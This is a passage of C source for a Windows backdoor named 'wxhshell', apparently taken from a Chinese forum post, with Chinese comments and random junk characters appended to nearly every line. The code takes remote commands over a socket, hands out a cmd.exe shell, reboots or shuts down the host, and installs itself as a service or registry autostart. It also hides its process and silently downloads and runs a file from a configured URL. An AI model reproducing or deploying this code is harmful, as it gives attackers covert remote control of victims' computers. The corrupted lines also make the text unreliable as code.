    switch(cmd[0]) { RAuVRm=E  
  )8SWU)/  
  // 帮助 W,_2JqQp  
  case '?': { @~UQU)-(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  _-9cGm v  
    break;  nb6Y/`G  
  } [9#zE URS  
  // 安装 KDH<T4#x  
  case 'i': { |{_>H '  
    if(Install()) g#cet{>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NSH4 @x  
    else L' bY,D(J>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a;M{ -G  
    break; ,LxkdV  
    } @2 *Q*  
  // 卸载 N]6t)Zv  
  case 'r': { 8F@Sy,D  
    if(Uninstall()) "Wr[DqFd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Re %dNxJ=  
    else 5C^@w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `u PLyS.  
    break; {8`$~c  
    } 5Dz$_2oM3  
  // 显示 wxhshell 所在路径 bS954d/  
  case 'p': { "Aw)0a[j1  
    char svExeFile[MAX_PATH]; CH;U_b  
    strcpy(svExeFile,"\n\r"); L[,19 ;(  
      strcat(svExeFile,ExeFile); =6"5kz10  
        send(wsh,svExeFile,strlen(svExeFile),0); D} j`T  
    break; +oq<}CNr{  
    } 2CneRKQy  
  // 重启 Xc}XRKiy{  
  case 'b': { <JU3sXl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h:r?:C>n  
    if(Boot(REBOOT)) n+te5_F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rjO{B`sV*  
    else { z ynu0X  
    closesocket(wsh); 4KnBb_w  
    ExitThread(0); v+W'0ymbnV  
    } y$SUYG'v  
    break; 9OW8/H&!  
    } tp>YsQy]8  
  // 关机 q CYu@Ho  
  case 'd': { ?+^p$'5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *X2PT(e[  
    if(Boot(SHUTDOWN)) &tvp)B?cWk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /lu|FWbEw  
    else { t"q'"FX  
    closesocket(wsh); ^-[ I;P  
    ExitThread(0); dIlpo0; F  
    } o5NmNOXm  
    break; |%v:>XEO  
    } d(d<@cB9  
  // 获取shell NR1M W^R  
  case 's': { ce}A!v  
    CmdShell(wsh); 80[# 6`  
    closesocket(wsh); ,6X;YY  
    ExitThread(0); F}ATY!  
    break; 1BU97!  
  } $5)#L$!,]  
  // 退出 ['.])  
  case 'x': { +KIz#uqF8Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vb\g49\o/  
    CloseIt(wsh); L'? aoRj  
    break; ^Z?m)qxvB  
    } "T5oUy&i  
  // 离开 !ZH "$m|  
  case 'q': { w|s2f`!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fI<LxU_n:  
    closesocket(wsh); w.(WG+  
    WSACleanup(); @ztT1?!e  
    exit(1); vxEi C:&]  
    break; (4/"uj5  
        } [1 P_^.Htr  
  } f/UU{vX(  
  } aO&{.DO2  
`D~oY=  
  // 提示信息 if|5v^/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iIX%%r+  
} SefhOh^,V  
  } >jhcSvM6  
BN CM{}e  
  return; zP #:Tv'  
} _.; PLq~0  
rCDt9o>  
// shell模块句柄 sPvs}}Z]P  
int CmdShell(SOCKET sock) w)+1^eW  
{ K $- *  
STARTUPINFO si; a~0 ~Y y  
ZeroMemory(&si,sizeof(si)); Q ^2dZXk~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^7aqe*|vm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z.-yL,Rc`-  
PROCESS_INFORMATION ProcessInfo; HZRFE[ 9nb  
char cmdline[]="cmd"; +a.2\Qt2A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > UZ-['H  
  return 0; ,FzkGB#  
} Wn@oG@}~  
lOVcXAe}  
// 自身启动模式 @iuX~QA[9  
int StartFromService(void) &!X<F,  
{ U? Jk  
typedef struct #U`AK9rP_g  
{ $TXiWW+  
  DWORD ExitStatus; -z`FKej   
  DWORD PebBaseAddress; m)p|NdTZc8  
  DWORD AffinityMask; qo3+=*"V  
  DWORD BasePriority; "D.<~!  
  ULONG UniqueProcessId; K^fs #7  
  ULONG InheritedFromUniqueProcessId; D2&d",%&f  
}   PROCESS_BASIC_INFORMATION; xcW\U^1d  
GbQi3%  
PROCNTQSIP NtQueryInformationProcess; gW~T{+f  
c%pf,sm'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]?VVwft  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  aO<7a 6  
)^o.H~Pv  
  HANDLE             hProcess; tI{]&dev  
  PROCESS_BASIC_INFORMATION pbi; NRtH?&7  
uG7]s]Wdz;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1}\p:`  
  if(NULL == hInst ) return 0; PSq?8.  
akyMW7'3V<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w~6UOA8}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s;TB(M~i[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J;_4 3eS  
jXA/G%:[  
  if (!NtQueryInformationProcess) return 0; }2;P`s  
EX_j|/&tZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IzTJ7E*i  
  if(!hProcess) return 0; ZXb|3|D  
{`SMxDevc}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6ncwa<q5  
z9S (<  
  CloseHandle(hProcess); ly` A,dh  
D?_K5a&v,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5oG~Fc  
if(hProcess==NULL) return 0; ^~V2xCu!  
LnE/62){N  
HMODULE hMod;  ?P +Uv  
char procName[255]; eX#.Zt]  
unsigned long cbNeeded; l-%] f]>  
]?(kaNQ "D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?:$ q~[LY  
:L@ ;.s  
  CloseHandle(hProcess); , ]1f)>  
4q]6[/  
if(strstr(procName,"services")) return 1; // 以服务启动 ."ZG0Zg  
U 2YY   
  return 0; // 注册表启动 X?t;uZI^  
} \#%GVru!  
RWR{jM]V  
// 主模块 W|8VE,"7  
int StartWxhshell(LPSTR lpCmdLine) >G|RVB  
{ 2p, U ^h  
  SOCKET wsl; 9jImuSZ  
BOOL val=TRUE; ;&=jSgr8  
  int port=0; =%~- M  
  struct sockaddr_in door; K[iAN;QCe%  
Rr [_t FM  
  if(wscfg.ws_autoins) Install(); z"mVE T  
8/>.g.]  
port=atoi(lpCmdLine); 3H!]X M  
Ct-eD-X{  
if(port<=0) port=wscfg.ws_port; KMi$0+  
wY ItG"+6  
  WSADATA data; 4k^P1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lU!_V%n  
W<)nC_$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uEb:uENk'(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [4#HuO@h  
  door.sin_family = AF_INET; C0f%~UMwd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4eB'mPor  
  door.sin_port = htons(port); VX8rM!3  
i ed 1+H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9 RDs`>v  
closesocket(wsl); # l9VTzi  
return 1; !IR cv a  
} W)ug %@)  
Y$v d@Q  
  if(listen(wsl,2) == INVALID_SOCKET) { yFk|8d-|  
closesocket(wsl); <|k :%  
return 1; JfkEJk<  
} H^kOwmSzh  
  Wxhshell(wsl); =b*GV6b  
  WSACleanup(); KgM|:'  
%pjY^tM/  
return 0; @#hQ0F8  
6 9$R.  
} cr-5t4<jK  
Sydl[c pH$  
// 以NT服务方式启动 873 bg|^hs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Mhn1-ma:  
{ M{orw;1Isy  
DWORD   status = 0; rPy,PQG2w  
  DWORD   specificError = 0xfffffff; +mBS&FK  
0#Gm# =F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vKW!;U9~P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _YlyS )#@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~roNe|P  
  serviceStatus.dwWin32ExitCode     = 0; }=f\WWJf0  
  serviceStatus.dwServiceSpecificExitCode = 0; e%pohHI  
  serviceStatus.dwCheckPoint       = 0; fr`#s\JKw  
  serviceStatus.dwWaitHint       = 0; #@-dT,t  
&;?+ ^L>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wM[Z 0*K  
  if (hServiceStatusHandle==0) return; 82 |^o  
x(sKkm`Q  
status = GetLastError(); 0= bXL!]  
  if (status!=NO_ERROR) eXsp0!v  
{ #*9 | \  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;yqHt!N  
    serviceStatus.dwCheckPoint       = 0; n}Eu^^d  
    serviceStatus.dwWaitHint       = 0; #\N8E-d  
    serviceStatus.dwWin32ExitCode     = status; whe%o  
    serviceStatus.dwServiceSpecificExitCode = specificError; {~]5QKg.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZYY~A_C  
    return; ye(av&Hn  
  } h3E}Sa(MQ:  
G"3KYBN>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _l] 0V g`  
  serviceStatus.dwCheckPoint       = 0; ^& *;]S`  
  serviceStatus.dwWaitHint       = 0; @$kzes\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eu)""l  
} 5{ +>3J  
Pbbi*&i  
// 处理NT服务事件,比如:启动、停止 /C'_-U?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lmUCrs37  
{ %OHWGac"i  
switch(fdwControl) yz,_\{}  
{ W\0u[IV.x  
case SERVICE_CONTROL_STOP: <]z4;~/&  
  serviceStatus.dwWin32ExitCode = 0; tUJe-3,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P()n=&XO6  
  serviceStatus.dwCheckPoint   = 0; yYe>a^r4R  
  serviceStatus.dwWaitHint     = 0; @6|0H`kv  
  { 6)=;cc{Vr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /g%RIzgW  
  } LZG(T$dI  
  return; 3rZPVR$))  
case SERVICE_CONTROL_PAUSE: SR.xI:}4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gkTwGI+w  
  break; [V8^}s}tF  
case SERVICE_CONTROL_CONTINUE: &)Zv>P8z`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z= -fL  
  break; Hr]  
case SERVICE_CONTROL_INTERROGATE: n]3'N58  
  break; B k\K G  
}; VR_/Vh ]@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;){ZM,Ox  
} kuLur)^  
@@R&OR  
// 标准应用程序主函数 N|"q6M !ZL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wj'fdrY5h  
{ {Z!t:'x8  
`B8`<3k/(  
// 获取操作系统版本 bx6=LK  
OsIsNt=GetOsVer(); >}0H5Q8@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1W0[|Hf2v*  
|V}tTx1  
  // 从命令行安装 DuAix)#FN9  
  if(strpbrk(lpCmdLine,"iI")) Install(); yO\bVu5V  
P A*U\  
  // 下载执行文件 *>EV4Hl  
if(wscfg.ws_downexe) { Xfb-< Q0A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eLHhfu;k  
  WinExec(wscfg.ws_filenam,SW_HIDE);  RZqMpW  
} Y)(w&E>1  
0[uOKFgE  
if(!OsIsNt) { zw5Ol%JF  
// 如果时win9x,隐藏进程并且设置为注册表启动 r>KmrU4Q  
HideProc(); xu]Kt+QnSk  
StartWxhshell(lpCmdLine); _\@zq*E  
} 8U]mr+  
else Z;R/!Py.  
  if(StartFromService()) 6"[,  
  // 以服务方式启动 e!w{ap8u  
  StartServiceCtrlDispatcher(DispatchTable); K-c>J uv&,  
else hDoFF8)c  
  // 普通方式启动 Sy*p6DP  
  StartWxhshell(lpCmdLine); J*%IvRg  
UH(w, R`  
return 0; W^;4t3eQf  
}
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只看该作者 1 发表于: 2006-10-10
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